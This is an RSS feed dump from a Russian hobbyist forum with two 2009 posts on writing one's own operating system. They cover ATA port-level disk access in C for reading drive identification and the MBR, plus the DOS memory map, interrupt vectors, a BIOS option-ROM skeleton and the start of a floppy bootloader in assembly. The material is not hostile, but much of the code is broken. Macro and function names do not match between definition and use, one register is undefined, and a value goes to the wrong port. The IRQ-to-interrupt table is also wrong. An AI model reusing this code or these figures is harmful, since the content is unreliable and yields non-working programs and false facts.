						&lt;p&gt;Биты 7 и 5 - зарезервированы.&lt;br /&gt;Бит 6 - единичным значением указывает на применение режима адресации LBA. При нулевом значении бита используется режим CHS.&lt;br /&gt;Бит 4 - DEV - выбор устройства. При DEV=0 выбрано устройство Master, при DEV=1 - устройство- Slave.&lt;br /&gt;Биты 3-0 имеют двоякое назначение в зависимости от выбранной системы адресации. В режиме CHS они содержат номер головки, в режиме LBA - старшие биты логического адреса.&lt;/p&gt;
						&lt;p&gt;4. Регистр данных.&lt;br /&gt;5. Регистр ошибок.&lt;br /&gt;6. Регистр свойств.&lt;br /&gt;7. Регистр счетчика секторов содержит число секторов, участвующих в обмене.&lt;/p&gt;
						&lt;p&gt;Блок управляющих регистров - для управления устройством и получения байта его состояния. В состав блока входят альтернативный регистр состояния и регистр управления устройством. Альтернативный регистр состояния имеет те же биты, что и основной, но его чтение не приводит ни к каким изменениям состояния устройства.&lt;/p&gt;
						&lt;p&gt;В регистре управления устройством биты 7-3 зарезервированы, бит 0 всегда нулевой, используются только два бита:&lt;br /&gt;Бит 2 - SRST - программный сброс, действует все время, пока бит не будет сброшен.&lt;br /&gt;Бит 1 - IEN# - инверсный бит разрешения прерывания.&lt;/p&gt;
						&lt;p&gt;Рассмотрим теперь взаимодействие хоста и устройства:&lt;/p&gt;
						&lt;p&gt;1. Хост читает регистр состояния устройства, дожидаясь нулевого значения бита BSY.&lt;br /&gt;2. Дождавшись освобождения устройства, хост записывает в регистр номера устройства и головки байт, у которого бит DEV указывает на адресуемое устройство.&lt;br /&gt;3. Хост читает основной регистр состояния адресованного устройства, дожидаясь признака его готовности (DRDY = 1).&lt;br /&gt;4. Хост заносит требуемые параметры в блок командных регистров.&lt;br /&gt;5. Хост записывает код команды в регистр команд.&lt;br /&gt;6. Устройство устанавливает бит BSY и переходит к исполнению команды.&lt;/p&gt;
						&lt;p&gt;Для команд, не требующих передачи данных (ND):&lt;/p&gt;
						&lt;p&gt;7. Завершив исполнение команды, устройство сбрасывает бит BSY и устанавливает запрос прерывания. К этому моменту в регистрах состояния и ошибок уже имеется информация о результате выполнения.&lt;/p&gt;
						&lt;p&gt;Для команд, требующих чтения данных в режиме PIO:&lt;/p&gt;
						&lt;p&gt;7. Подготовившись к передаче первого блока данных по шине АТА, устройство устанавливает бит DRQ. Если была ошибка, она фиксируется в регистрах состояния и ошибок. Далее устройство сбрасывает бит BSY и устанавливает запрос прерывания.&lt;br /&gt;8. Зафиксировав обнуление бита BSY (или по прерыванию), хост считывает регистр состояния, что приводит к сбросу прерывания от устройства.&lt;br /&gt;9. Если хост обнаружил единичное значение бита DRQ, он производит чтение первого блока данных в режиме PIO (адресуясь к регистру данных). Если обнаружена ошибка, считанные данные могут быть недостоверными.&lt;/p&gt;
						&lt;p&gt;Не утомились нудной частью? Возвращаемся к практике. Задача в общем-то такая же - получить информацию идентификации устройства и считать MBR.&lt;/p&gt;
						&lt;p&gt;#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;#include &amp;lt;fcntl.h&amp;gt;&lt;br /&gt;#include &amp;lt;unistd.h&amp;gt;&lt;br /&gt;#include &amp;lt;linux/hdreg.h&amp;gt;&lt;br /&gt;#define d_data 0x1f0 // регистр данных&lt;br /&gt;#define d_error 0x1f1 // регистр ошибок&lt;br /&gt;#define d_nsector 0x1f2 // регистр счетчика секторов&lt;br /&gt;#define d_sector 0x1f3 // регистр стартового сектора&lt;br /&gt;#define d_lcyl 0x1f4 // регистр младшего байта номера цилиндра&lt;br /&gt;#define d_hcy 0x1f5 // регистр старшего байта номера цилиндра&lt;br /&gt;#define d_current 0x1f6 // 101a???? , a=устройство, ????=головка&lt;br /&gt;#define d_status 0x1f7 // регистр состояния&lt;/p&gt;
						&lt;p&gt;#define out(val,port)&lt;br /&gt;asm(&lt;br /&gt;&amp;quot;outb %%al, %%dx&amp;quot;&lt;br /&gt;::&amp;quot;a&amp;quot;(val),&amp;quot;d&amp;quot;(port)&lt;br /&gt;)&lt;br /&gt;#define in_byte(val,port)&lt;br /&gt;asm(&lt;br /&gt;&amp;quot;inb %%dx, %%al&amp;quot;&lt;br /&gt;:&amp;quot;=a&amp;quot;(val)&lt;br /&gt;:&amp;quot;d&amp;quot;(port)&lt;br /&gt;)&lt;/p&gt;
						&lt;p&gt;#define in_word(val,port)&lt;br /&gt;asm(&lt;br /&gt;&amp;quot;inw %%dx, %%ax&amp;quot;&lt;br /&gt;:&amp;quot;=a&amp;quot;(val)&lt;br /&gt;:&amp;quot;d&amp;quot;(port)&lt;br /&gt;)&lt;br /&gt;// Чтение байта из порта, запись байта в порт и запись слова в порт соответственно.&lt;/p&gt;
						&lt;p&gt;void d_busy()&lt;br /&gt;{&lt;br /&gt;unsigned char stat;&lt;/p&gt;
						&lt;p&gt;do {&lt;br /&gt;in_b(stat,d_status);&lt;br /&gt;} while (stat &amp;amp; 0x80);&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;void d_ready()&lt;br /&gt;{&lt;br /&gt;unsigned char stat;&lt;/p&gt;
						&lt;p&gt;do {&lt;br /&gt;in_b(stat,d_status);&lt;br /&gt;} while (!(stat &amp;amp; 0x40));&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;// Занято устройство или свободно?&lt;br /&gt;void cerr()&lt;br /&gt;{&lt;br /&gt;unsigned char a;&lt;/p&gt;
						&lt;p&gt;ib_b(a,d_status);&lt;br /&gt;if (a &amp;amp; 0x1) {&lt;br /&gt;perror(&amp;quot;d_status&amp;quot;);&lt;br /&gt;exit(-1);&lt;br /&gt;}&lt;br /&gt;return;&lt;br /&gt;}&lt;br /&gt;// Не было ошибок?&lt;/p&gt;
						&lt;p&gt;void gident(struct d_drive *hd)&lt;br /&gt;{&lt;/p&gt;
						&lt;p&gt;unsigned short b = 0;&lt;br /&gt;int i = 0;&lt;/p&gt;
						&lt;p&gt;unsigned short buf[0x100];&lt;br /&gt;memset(buf,0,0x100);&lt;br /&gt;d_busy();&lt;br /&gt;// Когда станет свободно, в регистр номера устройства и головки заносим значение 0xA0. Бит 4 равен 0, а значит, нами выбрано ведущее устройство. Бит 6 оставим нулевым:&lt;br /&gt;out_b(0xA0,d_current);&lt;br /&gt;hd_ready();&lt;br /&gt;// Теперь диск полностью готов. В регистр команд заносим код команды идентификации устройства - 0xEC.&lt;br /&gt;Out_b(0xEC,d_status);&lt;br /&gt;// Считываем информацию по блоку данных:&lt;br /&gt;do {&lt;br /&gt;hd_busy();&lt;br /&gt;cerr();&lt;br /&gt;in_w(a,d_data);&lt;br /&gt;if((i&amp;gt;=10 &amp;amp;&amp;amp; i&amp;lt;=19) || (i&amp;gt;=27 &amp;amp;&amp;amp; i&amp;lt;=46))&lt;br /&gt;asm(&lt;br /&gt;&amp;quot;xchgb %%ah, %%al&amp;quot;&lt;br /&gt;:&amp;quot;=a&amp;quot;(a)&lt;br /&gt;:&amp;quot;0&amp;quot;(a));&lt;br /&gt;buf[i++] = a;&lt;br /&gt;} while(d_request());&lt;/p&gt;
						&lt;p&gt;// Считанную информацию сохраним в буфере buff1. Копируем полученную информацию из буфера buff1 в структуру dreg. После чего чистим буфер.&lt;br /&gt;memcpy(hd,(struct dreg *)buf,0x100);&lt;br /&gt;memset(buf,0,0x100);&lt;br /&gt;return;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Теперь рассмотрим чтение при адресация CHS&lt;/p&gt;
						&lt;p&gt;void r_chs(unsigned short N, unsigned short sect,&lt;br /&gt;unsigned short cyl, unsigned short head, unsigned short *buf)&lt;br /&gt;// N - число секторов для чтения, sect - стартовый сектор, cyl - стартовый цилиндр, head - номер головки, buf - буфер, куда все помещается.&lt;br /&gt;{&lt;/p&gt;
						&lt;p&gt;int i = 0;&lt;br /&gt;unsigned short a;&lt;/p&gt;
						&lt;p&gt;if((!N) || (!sect)) return;&lt;br /&gt;hd_busy();&lt;br /&gt;// В регистр номера устройства и головки заносим соответствующие данные.&lt;br /&gt;Out_b(0xA0|head,d_current);&lt;br /&gt;hd_ready();&lt;br /&gt;// Заполним блок командных регистров:&lt;br /&gt;out_b(N,d_nsector);&lt;br /&gt;out_b(sect,d_sector);&lt;br /&gt;out_b(cyl,d_cyl);&lt;br /&gt;out_b((cyl &amp;gt;&amp;gt; 8),d_cyl);&lt;br /&gt;// В регистр команд записываем код команды чтения секторов с повторами - 0x20.&lt;br /&gt;out_b(0x20,d_status);&lt;br /&gt;// Считываем блок данных в буфер buf:&lt;br /&gt;do {&lt;br /&gt;hd_busy();&lt;br /&gt;cerr();&lt;br /&gt;in_w(a,d_data);&lt;br /&gt;buf[i++] = a;&lt;br /&gt;} while(d_request());&lt;br /&gt;// Считываем последние 4 байта и выходим из функции:&lt;br /&gt;In_w(a,d_data);&lt;br /&gt;buf[i++] = a;&lt;br /&gt;in_w(a,d_data);&lt;br /&gt;buf[i] = a;&lt;br /&gt;return;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;// Чтения сектора в режиме адресации LBA.&lt;br /&gt;void read_hd_sector_lba(unsigned short N, unsigned int lba, unsigned short *buf)&lt;br /&gt;{&lt;br /&gt;// N - число секторов для чтения, lba - номер блока, buf - буфер, куда все помещается&lt;/p&gt;
						&lt;p&gt;int i = 0;&lt;br /&gt;unsigned short a;&lt;/p&gt;
						&lt;p&gt;if(!N) return;&lt;br /&gt;hd_busy();&lt;br /&gt;// В регистре номера устройства и головки бит 6 устанавливаем в 1, а биты 3-0 будут содержать старшие биты логического адреса (27-24):&lt;br /&gt;out_b(0xE0|((lba &amp;amp; 0x0F000000) &amp;gt;&amp;gt; 24),d_current);&lt;br /&gt;hd_ready();&lt;br /&gt;// В блок командных регистров заносим требуемые параметры. В регистр младшего байта номера цилиндра - биты 15-8 логического адреса, а в регистр старшего байта номера цилиндра - биты 23-16 логического адреса. В регистр команд - команду чтения секторов с повторами.&lt;br /&gt;out_b(N,d_sector);&lt;br /&gt;out_b((lba &amp;amp; 0x000000FF),d_sector);&lt;br /&gt;out_b(((lba &amp;amp; 0x0000FF00) &amp;gt;&amp;gt; 8),d_cyl);&lt;br /&gt;out_b(((lba &amp;amp; 0x00FF0000) &amp;gt;&amp;gt; 16),d_cyl);&lt;br /&gt;out_b(0x20,d_status);&lt;br /&gt;do {&lt;br /&gt;d_busy();&lt;br /&gt;cerr();&lt;br /&gt;in_w(a,d_data);&lt;br /&gt;buf[i++] = a;&lt;br /&gt;} while(d_request());&lt;br /&gt;in_w(a,d_data);&lt;br /&gt;buf[i++] = a;&lt;/p&gt;
						&lt;p&gt;in_w(a,d_data);&lt;br /&gt;buf[i] = a;&lt;/p&gt;
						&lt;p&gt;return;&lt;br /&gt;}&lt;/p&gt;
						&lt;p&gt;Рассмотрим главную функцию, на этом и закончим текст программы.&lt;/p&gt;
						&lt;p&gt;int main ()&lt;br /&gt;{&lt;br /&gt;// N - число секторов для чтения, sect - номер сектора, cyl - номер цилиндра, head - номер головки, lba - номер логического блока&lt;br /&gt;struct d_drive hd;&lt;br /&gt;int out;&lt;br /&gt;unsigned short N = 1;&lt;br /&gt;unsigned int sect, cyl, head, lba;&lt;/p&gt;
						&lt;p&gt;unsigned short buf[0x100*N];&lt;/p&gt;
						&lt;p&gt;memset(buf,0,0x100*N);&lt;br /&gt;memset(&amp;amp;hd,0,sizeof(struct d_drive));&lt;/p&gt;
						&lt;p&gt;// Во избежание лишних ошибок запросим у системы разрешения доступа к портам в диапазоне 0x1f0 - 0x1f7:&lt;br /&gt;ioperm(0x1f0,8,1);&lt;br /&gt;getident(&amp;amp;hd);&lt;br /&gt;// Вуаля:&lt;br /&gt;printf(&amp;quot;Number - %s\n&amp;quot;,hd.serial_no);&lt;br /&gt;printf(&amp;quot;Model - %s\n&amp;quot;,hd.model);&lt;br /&gt;printf(&amp;quot;Cyl count - %d\n&amp;quot;,hd.cur_cyls);&lt;br /&gt;printf(&amp;quot;Head count - %d\n&amp;quot;,hd.cur_heads);&lt;br /&gt;printf(&amp;quot;Sector count - %d\n&amp;quot;,hd.cur_sectors);&lt;br /&gt;printf(&amp;quot;Blocks count - %d\n&amp;quot;,hd.lba_capacity);&lt;/p&gt;
						&lt;p&gt;Прочтение MBR в режиме CHS:&lt;/p&gt;
						&lt;p&gt;sect = 1;&lt;br /&gt;cyl = 0;&lt;br /&gt;head = 0;&lt;br /&gt;r_chs(N,sect,cyl,head,buf);&lt;/p&gt;
						&lt;p&gt;Тоже самое - в режиме LBA:&lt;/p&gt;
						&lt;p&gt;lba = 0;&lt;br /&gt;r_lba(N,lba,buf);&lt;br /&gt;ioperm(0x1f0,8,0);&lt;/p&gt;
						&lt;p&gt;Вот и вся программа. Пожалуй, на этом очередную часть можно закончить, в следующей части будет продолжение работы с жесткими дисками, а точнее описание работы с файловой системой, а так же, наверное, мы затронем работу с CD.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (admin)</author>
			<pubDate>Fri, 13 Mar 2009 15:59:02 +0300</pubDate>
			<guid>http://xhackx.bbon.ru/viewtopic.php?pid=32#p32</guid>
		</item>
		<item>
			<title>Написание собственной Операционной Системы №1</title>
			<link>http://xhackx.bbon.ru/viewtopic.php?pid=31#p31</link>
			<description>&lt;p&gt;Немного занудства&lt;/p&gt;
						&lt;p&gt;В этой серии статей я хотел бы рассказать о написании собственной ОС (прошу подождать с истерическим смехом по этому поводу). Конечно же, не на самом подробном уровне, тем не менее, какие-то азы, с которых будет полезно стартовать, я все же постараюсь рассказать. Я сразу хочу заметить, что я предполагаю, что некоторый опыт в программировании на Assembler у вас имеется, а так же вы знаете такие базовые понятия как сегментная память, реальный режим и пр. (Если нет, советую почитать для начала книгу Зубкова)&lt;/p&gt;
						&lt;p&gt;Итак, начнем. Давайте рассмотрим приблизительно работу известных ОС.&lt;/p&gt;
						&lt;p&gt;Немного теории&lt;/p&gt;
						&lt;p&gt;Адресное пространство в DOS:&lt;br /&gt;Объем &amp;#160; &amp;#160; Физ. Адрес 	Сегм. Адрес&lt;br /&gt;1Кбайт 	Векторы прерываний 	00000h 	0000h&lt;br /&gt;256байт 	Область данных BIOS 	00400h 	0040h&lt;br /&gt;	ОС MS-DOS 	00500h 	0050h&lt;br /&gt;	Область для программ&lt;br /&gt;64Кбайт 	Графический видео буфер 	A0000h 	A000h&lt;br /&gt;32Кбайт 	Свободные адреса 	B0000h 	B000h&lt;br /&gt;32Кбайт 	Текстовый видеобуфер 	B8000h 	B800h&lt;br /&gt;64Кбайт 	ПЗУ-расширения BIOS 	C0000h 	C000h&lt;br /&gt;128Кбайт 	Свободные адреса 	D0000h 	D000h&lt;br /&gt;64Кбайт 	ПЗУ BIOS 	F0000h 	F000h&lt;br /&gt;64Кбайт 	HMA 	100000h&lt;br /&gt;До4Гбайт 	XMS 	10FFF0h&lt;/p&gt;
						&lt;p&gt;Первые 640 Кбайт (до графического видеобуфера) называются стандартной (conventional) памятью. Начинается стандартная память с килобайта, который содержит векторы прерываний, их 256 на каждый отводится по 4 байта. Затем идет область данных BIOS (при включение компьютера BIOS выполняет POST – диагностику, которая проверяет все оборудование на наличие ошибок, если проверка завершилась удачно то BIOS грузит самый первый сектор (там находится загрузочная программа ОС) с выбранного устройства (дискеты, винчестера) по адресу 0x7C00h куда и передает управление). Где находятся данные необходимые для корректной работы функций BIOS. Но также можно модифицировать эту область, тем самым мы влияем на ход выполнения системных функций, по сути дела меняя что либо в этой области мы передаем параметры BIOS и его функциям, которые становятся более гибкими. В случае установленной DOS с сегментного адреса 500h начинается сама операционная система. После ОС до 640 Кбайт находятся прикладные или системные программы, которые были загружены ОС. &lt;/p&gt;
						&lt;p&gt;За 640 килобайтами начинается старшая память или верхняя (upper) память, она располагается до 1 мегабайта (до HMA), т.е. она составляет 384 Кбайт. Тут располагаются ПЗУ (постоянно запоминающее устройство ) : текстовый видеобуфер (его микросхема рассчитана на диапазон B8000h…BFFFFh) и графический видеобуфер (A0000h…AFFFFh). Если требуется вывести текст то его ASCII коды требуется прописать в текстовый видеобуфер и вы немедленно увидите нужные символы. F0000h…FFFFFh, а вот и сам BIOS. Так же есть еще одна ПЗУ – ПЗУ расширений BIOS (C0000h…CFFFFh), её задача обслуживание графических адаптеров и дисков.&lt;/p&gt;
						&lt;p&gt;За первым мегабайтом, с адреса 100000h, располагается память именуемая как расширенная память, конец которой до 4 гигабайт. Расширенная память состоит из 2х подуровней: HMA и XMS. Высокая память (High Memory Area, HMA) доступна в реальном режиме, а это еще плюс 64 Кбайт (точнее 64 Кбайт – 16 байт), но для этого надо разрешить линию A20 (открыв вентиль GateA20). Функционирование расширенной памяти подчиняется спецификации расширенной памяти (Expanded Memory Specification, XMS), поэтому саму память назвали XMS-памятью, но она доступна только в защищенном режиме.&lt;/p&gt;
						&lt;p&gt;Давайте вернемся к началу адресного пространства в представлении DOS и рассмотрим его более подробно.&lt;/p&gt;
						&lt;p&gt;1) Векторы прерываний таковы (это нам понадобится, когда мы будем составлять свою таблицу прерываний):&lt;/p&gt;
						&lt;p&gt;IRQ INT Причина возникновения&lt;br /&gt;IRQ0 8h Системный таймер&lt;br /&gt;IRQ1 9h Клавиатура&lt;br /&gt;IRQ2 10h Ведомый контроллер&lt;br /&gt;IRQ3 11h Порт COM2, модем&lt;br /&gt;IRQ4 12h Порт COM1, мышь&lt;br /&gt;IRQ5 13h Порт LPT2&lt;br /&gt;IRQ6 14h Дисковод&lt;br /&gt;IRQ7 15h Порт LPT1, принтер&lt;br /&gt;IRQ8 70h Часы реального времени&lt;br /&gt;IRQ9 71h Прерывание обратного хода луча&lt;br /&gt;IRQ10 72h Для дополнительных устройств&lt;br /&gt;IRQ11 73h Для дополнительных устройств&lt;br /&gt;IRQ12 74h PS мышь&lt;br /&gt;IRQ13 75h Ошибка математического сопроцессора&lt;br /&gt;IRQ14 76h Первый IDE-контроллер&lt;br /&gt;IRQ15 77h Второй IDE-контроллер, жесткий диск&lt;/p&gt;
						&lt;p&gt;2) BIOS. Это в общем-то лирическое отступление, т.к. здесь мы рассмотрим не столько устройство BIOS, сколько научимся добавлять в него свои функции. Использование таковых, конечно, сделает нашу ОС, непереносимой, но для начального этапа они могут оказаться очень полезными. В написании ОС я больше не буду упоминать об этом, это остается пытливому читателю в виде самостоятельного упражнения. =)&lt;/p&gt;
						&lt;p&gt;Итак, BIOS (я буду говорить об AWARD BIOS, так как это наиболее популярные версии, поэтому возможно незначительные расхождения с другими BIOS) – это последовательность запакованных файлов, которые заканчиваются файлом bootblock. Структура первого мегабайта памяти, отведенного под BIOS такова:&lt;br /&gt;00000 – xxxxx+1 	original.tmp и байт под CRC&lt;br /&gt;xxxxx+1 – yyyyy 	Запакованный модуль&lt;br /&gt;yyyyy – zzzzz 	Другие запакованные модули&lt;br /&gt;zzzzz - ~17FFEh 	Оставшееся свободным пространство&lt;br /&gt;~1C000* – 1FFFFh&amp;#160; &amp;#160;	Bootblock&lt;/p&gt;
						&lt;p&gt;До свободного пространства идет основная часть BIOS, а именно:&lt;/p&gt;
						&lt;p&gt;original.tmp – главная часть, в которой располагается подпрограмма BIOS Setup, а так же части, необходимые для инициализации.&lt;br /&gt;CRC – контрольная сумма BIOS&lt;br /&gt;awardext.rom – подпрограмма вывода конфигурации компьютера&lt;br /&gt;awardepa.bin – изображение&lt;br /&gt;Так же могут встречаться другие необязательные модули.&lt;/p&gt;
						&lt;p&gt;Итак, при включении компьютера bootblock инициализирует регистры чипсета, распаковывает заархивированные (с помощью LHA) модули и отправляет их в память. Соответственно данные файлы можно перепрограммировать, изменив или добавив что-то в BIOS. Таким образом можно изменить все настройки БИОС (начиная от надписей и кончая добавлением возможности работы с новыми устройствами, информации о которых нет в данной версии BIOS). Делается это достаточно легко: например используя modbin (стандартная программа от Award) можно распаковать данные файлы (взятые, например, из Интернета), изменить их по своему усмотрению и записать в BIOS. Только при изменении заархивированных модулей не забывайте исправлять CRC, иначе BIOS подумает, что он испорчен.&lt;/p&gt;
						&lt;p&gt;Итак, что же нужно для более серьезной перепрошивки BIOS нежели незначительного изменения уже существующих кодов. Во-первых я напомню вам, что существует множество компаний, производящий материнские платы, а так же процессоры, а единого стандарта для чипсетов не существует, поэтому написать универсальный BIOS ко всем материнским платам не возможно, необходимо написать для каждой материнской платы свои функции и объединить их в единый BIOS. Но для этого необходимо множество человеко-часов, поэтому в одиночку справиться с подобной задачей представляется достаточно трудным или попросту невозможным.&lt;/p&gt;
						&lt;p&gt;Итак, наша программа будет располагаться в ПЗУ (постоянное запоминающее устройство). BIOS передаст ей управление, но для этого он должен ее найти. Соответственно наша программа должна находиться в области с С800:0 до E000:0 в памяти, так как эта область сканируется BIOS на наличие определенной сигнатуры 0AA55H. В байте за этой подписью количество байт для подсчета их контрольной суммы. Если контрольная сумма равно нулю, то это ПЗУ и управление передается в область памяти, где была найдена данная сигнатура со смещением 3. Для того, чтобы «уровнять» контрольную сумму, необходимо в конце программы дописать байт, в котором будет число, равное разнице 100h и полученной контрольной суммы. &lt;/p&gt;
						&lt;p&gt;Итак, вот так должна выглядеть ваша программа, которую Вы запишите в ПЗУ.&lt;/p&gt;
						&lt;p&gt;LENGTHROM EQU 2000H ; Размер ПЗУ в байтах = числу после подписи * 200H&lt;br /&gt;CODE SEGMENT BYTE PUBLIC&lt;br /&gt;ASSUME CS:CODE,DS:CODE&lt;br /&gt;ORG 0&lt;br /&gt;START:&lt;br /&gt;DB 55h&lt;br /&gt;DB 0AAh; Размер ПЗУ по модулю 200H&lt;br /&gt;DB LENGTHROM SHR 9; Первая выполняемая команда&lt;br /&gt;JMP BEGIN&lt;br /&gt;BEGIN:&lt;br /&gt;; Заносим в регистры нужные значения&lt;br /&gt;MOV AX,CS&lt;br /&gt;MOV DS,AX&lt;br /&gt;; Код программы&lt;br /&gt;; Вернуть управление БИОС&lt;br /&gt;RETF&lt;br /&gt;; Сюда запишем дополняющий байт&lt;br /&gt;DB (0)&lt;br /&gt;CodeEnd:&lt;br /&gt;; заполнение оставшегося кода нулями&lt;br /&gt;DB (LENGTHROM-(OFFSET CodeEnd-OFFSET START)) DUP (0FFH)&lt;br /&gt;LastByte:&lt;br /&gt;CODE ENDS&lt;br /&gt;END START&lt;/p&gt;
						&lt;p&gt;Загрузка Linux и Windows&lt;/p&gt;
						&lt;p&gt;Это базовая и очень важная тема. Вспомним о БИОС, который загружает самый первый сектор (Master Boot Record) с выбранного в его настройках устройства (дискеты, винчестера, CD-ROM привода и пр.) по адресу 0x7C00h куда и передает управление. Программа, находящаяся в этой памяти называется первичным загрузчиком. У него не очень много возможностей, так как его размер ограничен 512 байтами. Его задачей является подготовка компьютера, а именно: запись в память вторичный загрузчик, предварительно считанный с HDD, включить линию A20 и перевести процессор в защищенный режим. После этого управление передается вторичному загрузчику, цели работы которого точно не определены. Я считаю, что его главными задачами являются формирование таблицы прерываний, подготовка компьютера к работе с файловой системой, определение периферийных устройств, подключенных к компьютеры, передача управления ядру, скачанному им с диска заложенному в памяти.&lt;/p&gt;
						&lt;p&gt;Чтобы более точно понять устройство загрузки ОС, перед переходом к исходным тестам рассмотрим принципы загрузки наиболее популярных в наше время ОС: Linux и Windows.&lt;/p&gt;
						&lt;p&gt;Linux может загружаться как через специализированный загрузчик (Lilo), так и через boot sector диска. Поскольку загрузчика у нас нет, а есть только желание более полно узнать об устройстве загрузки, рассмотрим второй случай:&lt;/p&gt;
						&lt;p&gt;1) boot sector записывает свой код в 9000h&lt;br /&gt;2) Загружает с диска Setup, который находится в нескольких последующих секторах (9000h:0200h;)&lt;br /&gt;3) Загружает ядро в 1000h. Ядро так же следует после Setup. Ядро должно быть меньше 508 килобайт&lt;br /&gt;4) Управление передается Setup&lt;br /&gt;5) Setup проверяется на корректность&lt;br /&gt;6) С помощью BIOS определяется оборудование, размер памяти, наличие жестких дисков, наличие шины Micro channel bus, PC/2 mouse, Advanced power management, инициализируются клавиатура и видеосистема&lt;br /&gt;7) Процессор переводится в защищенный режим&lt;br /&gt;8) Управление передается ядру&lt;br /&gt;9) Ядро переписывается по адресу 100000h (если оно было заархивировано, то оно предварительно разархивируется)&lt;br /&gt;10) Управление передается ядру&lt;br /&gt;11) Активируется страничная адресация&lt;br /&gt;12) Происходит инициализация IDT и GDT, при этом в кодовый сегмент и в сегмент данных ядра входит вся виртуальная память&lt;br /&gt;13) Инициализируются драйвера&lt;br /&gt;14) Управление передается процессу init;&lt;br /&gt;15. init запускает все остальные необходимые программы в соответствии с файлами конфигурации(init.X);&lt;/p&gt;
						&lt;p&gt;Теперь рассмотрим загрузку Windows (NT, так как ранние версии устарели):&lt;/p&gt;
						&lt;p&gt;1) boot sector загружает NTLDR&lt;br /&gt;2) Процессор переходит в защищенный режим;&lt;br /&gt;3) Делаются таблицы страниц&lt;br /&gt;4) Механизм преобразования страниц;&lt;br /&gt;5) Чтение boot.ini, используя код FS под названием read only. Выводит на экран выбор загрузки ОС (из boot.ini)&lt;br /&gt;6) Из boot.ini считывается адрес директории Windows&lt;br /&gt;7) Управление получает ntdetect.com, определяющий устройства, установленные на компьютере&lt;br /&gt;8) Из %dir%\system32 загружается ntoskrnl.exe, в котором находится ядро.&lt;br /&gt;9) Управление передается hal.dll с информацией об аппаратном обеспечении;&lt;br /&gt;10) Загружаются драйвера и важные файлы&lt;br /&gt;11) Стартует графическая оболочка и пр.&lt;/p&gt;
						&lt;p&gt;Ближе к практике&lt;/p&gt;
						&lt;p&gt;Итак, мы рассмотрели на примерах уже готовых ОС этапы загрузок, а так же устройство памяти. Приступим непосредственно к написанию своей ОС. Начнем мы с написания загрузчика, который должен обеспечить загрузку и подготовить все для старта ОС. Он будет делиться на два (деление условное). Задача первого подготовить базу, а точнее занести в память код с дискеты, после чего передать управление второму загрузчику, задача которого перевести процессор в защищенный режим и сделать другие подготовки для передачи управления уже собственно ядру.&lt;/p&gt;
						&lt;p&gt;1) Первичный загрузчик&lt;/p&gt;
						&lt;p&gt;Загружаться мы будем с дискеты, а следовательно нам необходимо читать с нее данные по секторам. &lt;/p&gt;
						&lt;p&gt;// Принцип работы такой: читать можем только в первые 64к, поэтому сначала считывается цилиндр в 0x50:0 - 0x50:0x2400, а затем копируется туда, куда необходимо. При этом первый цилиндр считываем в конце.&lt;/p&gt;
						&lt;p&gt;section .text&lt;br /&gt;BITS 16&lt;br /&gt;org 0x7c00&lt;br /&gt;// Ядро отправляем в 0x7c00&lt;br /&gt;%define CTR 10 &lt;br /&gt;%define MRE 5 &lt;br /&gt;// Определение переменных&lt;br /&gt;enter:&lt;br /&gt;cli ;&lt;br /&gt;mov ax, cs&lt;br /&gt;mov ds, ax&lt;br /&gt;mov es, ax&lt;br /&gt;mov ss, ax&lt;br /&gt;mov sp, 0x7c00&lt;br /&gt;sti&lt;br /&gt;// Поскольку мы не знаем значений различных регистров (за исключением CS, значение которого равно 0), то мы должны сами занести данные в данные регистры(а именно “занулить” SS, SP и DS). А так же отключить прерывания, чтобы в это время работу загрузчика ни что не сбивало.&lt;br /&gt;// Далее:&lt;br /&gt;// Мы собираемся перенести с дискеты данные, а попадут они на текущий код, поэтому необходимо перенести его в верхнюю часть доступной памяти. &lt;br /&gt;// В DS - адрес исходного сегмента&lt;br /&gt;mov ax, 0x07c0&lt;br /&gt;mov ds, ax&lt;br /&gt;// В ES - адрес целевого сегмента&lt;br /&gt;mov ax, 0x9000&lt;br /&gt;mov es, ax&lt;br /&gt;// Копируем с 0&lt;br /&gt;xor si, si&lt;br /&gt;xor di, di&lt;br /&gt;// Копируем 128 двойных слов&lt;br /&gt;mov cx, 128&lt;br /&gt;rep movsd&lt;br /&gt;// Прыжок в новоиспеченный bootsector (0x9000: 0)&lt;br /&gt;jmp 0x9000:start&lt;br /&gt;// следующий код выполняется по адресу 0x9000:0&lt;br /&gt;begin:&lt;br /&gt;// Заполним регистры новыми значениями&lt;br /&gt;mov ax, cs&lt;br /&gt;mov ds, ax&lt;br /&gt;mov ss, ax &lt;br /&gt;// Сообщим пользователю о загрузке &lt;br /&gt;mov si, msg_startup&lt;br /&gt;call ps&lt;br /&gt;// Читаем цилиндр начиная с указанного в DI плюс нулевой цилиндр (в самом конце) в AX (адрес, куда будут записаны данные)&lt;br /&gt;mov di, 1&lt;br /&gt;mov ax, 0x290&lt;br /&gt;xor bx, bx&lt;br /&gt;.loop:&lt;br /&gt;mov cx, 0x50&lt;br /&gt;mov es, cx&lt;br /&gt;push di&lt;br /&gt;// Подсчет головки для использования&lt;br /&gt;shr di, 1&lt;br /&gt;setc dh&lt;br /&gt;mov cx, di&lt;br /&gt;xchg cl, ch&lt;br /&gt;pop di&lt;br /&gt;// Считаны ли все цилиндры?&lt;br /&gt;cmp di, CTR&lt;br /&gt;je .quit&lt;br /&gt;call r_cyl&lt;br /&gt;// Цилиндр считали в 0x50:0x0 - 0x50:0x2400 (в линейном варианте - 0x500 - 0x2900)&lt;br /&gt;// Скопируем этот блок в нужный адрес:&lt;br /&gt;pusha&lt;br /&gt;push ds &lt;br /&gt;mov cx, 0x50&lt;br /&gt;mov ds, cx&lt;br /&gt;mov es, ax&lt;br /&gt;xor di, di&lt;br /&gt;xor si, si&lt;br /&gt;mov cx, 0x2400&lt;br /&gt;rep movsb&lt;br /&gt;pop ds&lt;br /&gt;popa&lt;br /&gt;// Увеличим DI, AX и повторим все сначала&lt;br /&gt;inc di&lt;br /&gt;add ax, 0x240&lt;br /&gt;jmp short .loop&lt;br /&gt;.quit: &lt;br /&gt;// Т.к. у нас часть памяти была занята, мы считывали с первого цилиндра, не стоит забыть о нулевом и скачать еще и его&lt;br /&gt;mov ax, 0x50&lt;br /&gt;mov es, ax&lt;br /&gt;mov bx, 0&lt;br /&gt;mov ch, 0&lt;br /&gt;mov dh, 0&lt;br /&gt;call r_cyl&lt;br /&gt;// Прыжок на загруженный 